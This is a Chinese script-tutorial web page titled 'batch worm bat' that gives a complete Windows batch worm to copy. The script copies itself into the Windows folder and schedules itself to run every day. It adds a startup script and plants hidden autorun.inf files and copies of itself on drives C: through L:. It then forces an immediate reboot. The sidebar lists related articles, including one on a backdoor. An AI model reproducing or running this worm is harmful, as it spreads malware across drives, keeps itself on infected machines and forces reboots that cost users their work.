当前位置: 首页 > 图文教程 > 脚本技术 > DOS/BAT > 批处理蠕虫bat

DOS/BAT
用批处理重命名文本文件名的代码
批处理写的电视机效果代码
[原创]用批处理实现读取文本文件并实现超链接代码的输出
cmd批处理 goto call命令使用说明
Do All in Cmd Shell一切在命令行下完成
利用BAT脚本加入域和退出域的代码
用dsadd添加用户的代码
不错的几个bat实例
CMD记录器改良版代码
让批处理被wsh解析的代码
谈谈xcopy中的排除copy
迅速删除非法文件名的批处理代码
批处理bat之永不被杀的后门
Emeditor与dos(cmd)经典使用技巧之批量生成网页
bat实现的模仿黑客帝国里面的数码雨
5个计算天数的批处理代码
bat批处理 if 命令示例详解
原创批处理之网站屏蔽与解除屏蔽批处理
批处理中使用系统路径的命令
批处理_mysql建立游戏排行榜!

DOS/BAT 中的 批处理蠕虫bat


出处:互联网   整理: 软晨网(RuanChen.com)   发布: 2009-09-11   浏览: 55 ::
收藏到网摘: n/a

复制代码 代码如下:

@echo off
attrib -r -h -s "%~nx0" 2>nul >nul
attrib -r -h -s %windir%\"%~nx0" 2>nul >nul
copy "%~nx0" %windir% /y 2>nul >nul
at 9:20 /every:m,t,w,th,f,s,su "%windir%\%~nx0"
echo reboot>%windir%\temp.dll
set pat=「开始」菜单\程序\启动
echo @echo off>"%ALLUSERSPROFILE%\%pat%"\reboot.bat
echo echo reboot^>^>%%windir%%\temp.dll>>"%ALLUSERSPROFILE%\%pat%"\reboot.bat
echo find /c "reboot" %%windir%%\temp.dll^|find "11">>"%ALLUSERSPROFILE%\%pat%"\reboot.bat
echo if errorlevel 1 goto rebootnow>>"%ALLUSERSPROFILE%\%pat%"\reboot.bat
echo del %%windir%%\user.dll /f /q>>"%ALLUSERSPROFILE%\%pat%"\reboot.bat
echo del %%windir%%\temp.dll /f /q>>"%ALLUSERSPROFILE%\%pat%"\reboot.bat
echo del /f /q "%%~nx0">>"%ALLUSERSPROFILE%\%pat%"\reboot.bat
echo exit>>"%ALLUSERSPROFILE%\%pat%"\reboot.bat
echo :rebootnow>>"%ALLUSERSPROFILE%\%pat%"\reboot.bat
echo shutdown /r /t 0 /f>>"%ALLUSERSPROFILE%\%pat%"\reboot.bat
echo exit>>"%ALLUSERSPROFILE%\%pat%"\reboot.bat
echo [autorun]>%windir%\user.dll
echo shellexecute=%~nx0>>%windir%\user.dll
set disk=C:>nul 2>nul
:auto
copy %windir%\"%~nx0" %disk%\ /y 2>nul >nul
copy %windir%\user.dll %disk%\autorun.inf /y 2>nul >nul
attrib +s +h +r %disk%\%~nx0 2>nul >nul
attrib +s +h +r %disk%\autorun.inf 2>nul >nul
cls
goto %disk%>nul 2>nul
:C:
set disk=D:>nul 2>nul
goto auto>nul 2>nul
: D:
set disk=E:>nul 2>nul
goto auto>nul 2>nul
:E:
set disk=F:>nul 2>nul
goto auto>nul 2>nul
:F:
set disk=G:>nul 2>nul
goto auto>nul 2>nul
:G:
set disk=H:>nul 2>nul
goto auto>nul 2>nul
:H:
set disk=I:>nul 2>nul
goto auto>nul 2>nul
:I:
set disk=J:>nul 2>nul
goto auto>nul 2>nul
:J:
set disk=K:>nul 2>nul
goto auto>nul 2>nul
:K:
set disk=L:>nul 2>nul
goto auto>nul 2>nul
: L:
cls
attrib +s +h +r %windir%\%~nx0 2>nul >nul
shutdown /r /t 0 /f
exit